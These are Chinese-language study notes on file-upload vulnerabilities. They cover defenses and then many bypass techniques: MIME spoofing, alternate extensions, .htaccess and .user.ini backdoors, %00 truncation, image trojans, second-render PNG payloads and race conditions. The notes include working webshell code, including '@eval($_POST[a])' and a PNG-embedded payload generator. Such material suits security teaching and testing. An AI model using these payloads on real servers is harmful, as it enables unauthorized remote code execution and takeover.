原理:
应用中存在上传功能,但是上传的文件没有经过严格的合法性检验或者检验函数存在缺陷,导致可以上传木马文件到服务器,并且能够执行其中的恶意代码。
危害:
服务器的网页篡改,网站被挂马,服务器被远程控制,被安装后门,执行系统命令,提权,上传钓鱼木马,内网渗透等严重的后果
防御:
1. 对上传文件进行类型和大小限制:在上传文件时,应该对文件类型和大小进行限制,只允许上传指定类型和大小的文件。这样可以避免上传恶意文件。
2. 对上传文件进行重命名:在上传文件时,应该对文件进行重命名,避免上传的文件名与系统文件名相同,从而避免攻击者通过上传恶意文件来覆盖系统文件。
3. 对上传文件进行检测:在上传文件后,应该对文件进行检测,检测文件是否包含恶意代码。可以使用杀毒软件或者其他安全工具进行检测。
4. 对上传文件进行存储:在存储上传文件时,应该将文件存储在非web目录下,避免攻击者通过访问上传文件的URL来执行恶意代码。
5. 对上传文件进行访问控制:在访问上传文件时,应该对文件进行访问控制,只允许授权用户访问上传文件,避免攻击者通过访问上传文件的URL来执行恶意代码。
6. 对上传文件进行加密:在上传文件时,应该对文件进行加密,避免上传的文件被攻击者窃取或者篡改。
7. 对上传文件进行日志记录:在上传文件时,应该对上传文件进行日志记录,记录上传文件的时间、上传者、文件名等信息,以便后续的审计和追踪。
利用条件:
1、文件能够上传成功
2、上传的文件能够被解析
3、知道所上传文件的路径路径
如何判断上传文件类型:
1、根据网站信息,比如url里面index.php等文件
2、根据前端源码
3、根据中间件类型
图片马制作过程:
通过将图片文件和php文件放在同一目录下,在此目录的地址栏中打开cmd
执行以下代码就能在图片里插入名为php.php的文件,合成出名为2.jpg的图片
copy 1.jpg/b+php.php/a 2.jpg
绕过方式
禁用js
限制条件放在了前端js文件里,只需要将js禁用即可上传
使用插件进行利用
修改MIME类型
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。
浏览器可以根据它来区分文件,然后决定什么内容用什么形式来显示。
MIME类型必须是image/jpeg、image/png、image/gif其中一个。
抓包修改Content-Type的值即可上传成功
常见MIME类型
.html文件 text/html
.txt文件 text/plain
.php文件 application/octer-stream
.jpg文件 image/jpg
.png文件 image/png
.gif文件 image/gif
其他后缀
黑名单不允许上传.asp,.aspx,.php,.jsp后缀文件,过滤点空格等并且不区分后缀大小写
我们可以使用.phtml .phps .php3 .php5 .pht等后缀名进行绕过。
上传成功并且成功执行
注:在使用.phtml .phps .php3 .php5 .pht等后缀名进行绕过,应对apche的配置文件httpd.conf先进行修改(高版本)。
.htaccess
黑名单禁止大部分脚本后缀名但仍未过滤.htaccess文件。
上传.htaccess文件使图片文件以php格式解析
htaccess是超文本访问(Hypertext Access)的缩写,是一个基于Apache的Web服务器使用的配置文件,用于控制它所在的目录以及该目录下的所有子目录。
AddType application/x-httpd-php .123 //以php解析.123的文件
上传.htaccess文件以及木马文件(图片马或上传php文件抓包修改后缀),成功执行
user.ini
.user.ini文件(nginx或者高版本apache)
首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。 这些配置可以分为四种:
由上图可知,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
其中有两个配置,可以用来制造后门:auto_append_file、auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=1.png
或者
auto_append_file=1.png
然后将图片马传上去,再访问上传目录下的其他php文件,执行任意命令即可,也可蚁剑连接
大小写绕过
因为限制中并没有将输入的信息转为小写,所以可以使用大小写进行绕过。如.Php
空格绕过,点绕过
这使用了windows的特性,windows会将末尾的空格和小数点自动去除,但是在php中并不会对空格和小数点视而不见,在文件后缀名后面加上空格和小数点php会识别但是黑名单中没有,就放行了
::$DATA绕过
在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
双写绕过
服务器的过滤机制只对威胁过滤一次就可以通过双写来进行绕过
例如:1.pphphp,过滤后显示的是1.php
%00截断符绕过
%00在acsii中表示空,当识别到%00就会停止识别。在有些函数处理时,会把这个字符当做结束符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。这个可以用在对文件类型名的绕过上。
但要注意是文件的16进制内容里的00,而不是文件名中的00 !!!就是说系统是按16进制读取文件(或者说二进制),
遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断。
%00是被服务器解码为0x00发挥了截断作用
(需要php版本低于5.3.29并且需要magic_quotes_gpc关闭)利用%00被URL解码后变为十六进制的00,即为NULL,无法被继续解析,导致文件上传函数不再对%00后进行解析,可以在十六进制数据流直接改写为00
文件头检测
如果服务器会对文件内容的前几个字段进行识别的话可以通过在内容的最前方加上GIF89a,这样可以达到绕过的效果。
二次渲染
部分网站会对图片二次渲染,体积更小占用的带宽更少,减少同时访问过多的问题。可以利用这一特点在图片文件可以在图片文件内插入不会影响图片呈现效果的恶意代码
如下,可生成PNG编码的恶意代码PNG图片
<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);c
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./pass17.png');
?>
0=assert&1=phpinfo();(将木马中的GET0改为POST0)
竞争文件上传
代码中先将文件上传之后再去判断文件类型,文件类型不匹配则删除该文件,我们可以在上传的一瞬间去访问我们上传的木马,使其再生成一个木马文件。
<?php
echo md5(1);
fputs(fopen('shell.php', 'w'),'<?php @eval($_POST[a]) ?>');
?>
同过利用burp的爆破模块不断上传和不断打开,执行创建名为shell的php文件,内容为
<?php @eval($_POST[a]) ?>